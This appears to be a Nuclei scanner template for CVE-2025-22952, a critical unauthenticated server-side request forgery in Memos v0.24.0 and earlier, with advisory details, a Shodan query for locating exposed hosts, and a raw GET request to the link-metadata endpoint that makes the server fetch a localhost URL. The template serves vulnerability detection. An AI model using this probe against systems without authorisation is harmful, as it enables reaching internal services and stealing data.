id: CVE-2025-22952 info: name: Elestio Memos <= v0.24.0 - Server-Side Request Forgery author: iamnoooob,rootxharsh,pdresearch severity: critical description: | elestio memos v0.23.0 is vulnerable to Server-Side Request Forgery (SSRF) due to insufficient validation of user-supplied URLs, which can be exploited to perform SSRF attacks. impact: | Unauthenticated attackers can exploit SSRF vulnerabilities to access internal services, bypass network security controls, and potentially retrieve sensitive information from internal systems. remediation: | Upgrade to Memos version 0.24.1 or later that properly validates and restricts URL access. reference: - https://github.com/advisories/GHSA-wfxg-v3j4-7qmj - https://elest.io/open-source/memos - https://github.com/usememos/memos - https://github.com/usememos/memos/issues/4413 - https://github.com/usememos/memos/pull/4428 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2025-22952 cwe-id: CWE-918 epss-score: 0.27937 epss-percentile: 0.96595 metadata: verified: true max-request: 1 shodan-query: http.favicon.hash:-1924700661 tags: cve,cve2025,elestio,memos,ssrf,oast,vuln,vkev http: - raw: - | GET /api/v1/markdown/link:metadata?link=http://localhost:13042 HTTP/1.1 Host: {{Hostname}} matchers-condition: and matchers: - type: word part: body words: - 'localhost:13042' - 'connect: connection refused' condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 500 # digest: 490a0046304402207b04a79a21344b7c92ddcfd6f82fecf1750da75bc753860a34c6d3b84f29c6df02200ad1e0ba8efaf05887f8693c9c34ca3f8017d7144a539b4118e70da308ef8aa2:922c64590222798bb761d5b6d8e72950